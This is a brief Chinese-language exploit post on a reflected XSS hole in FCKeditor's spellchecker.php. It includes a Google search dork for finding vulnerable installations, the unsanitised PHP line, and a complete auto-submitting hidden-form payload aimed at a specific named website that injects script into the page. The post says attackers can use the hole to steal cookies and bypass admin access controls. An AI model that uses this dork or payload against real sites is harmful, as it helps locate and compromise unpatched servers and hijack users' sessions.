FCKEditor的反映型XSS漏洞
谷歌下关键字:
inurl:fck_spellerpages/spellerpages/server-scripts/ -”The following variables”
漏洞页面：spellchecker.php
反映的XSS注入通过“textinputs后的参数数组，没有印在第27行sanization：
echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";
像往常一样，攻击者可以利用这些弱点，在偷窃的cookie访问用户的浏览器会话中执行任意HTML和脚本代码，绕过管理访问控制。
<html> <body> <iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe> <form method="post" name="sender" action="http://www.qimingnet.com/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php" target="hidden"> <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!"); </script><!--' /> </form> </body> <script>document.sender.submit(); </script> </html>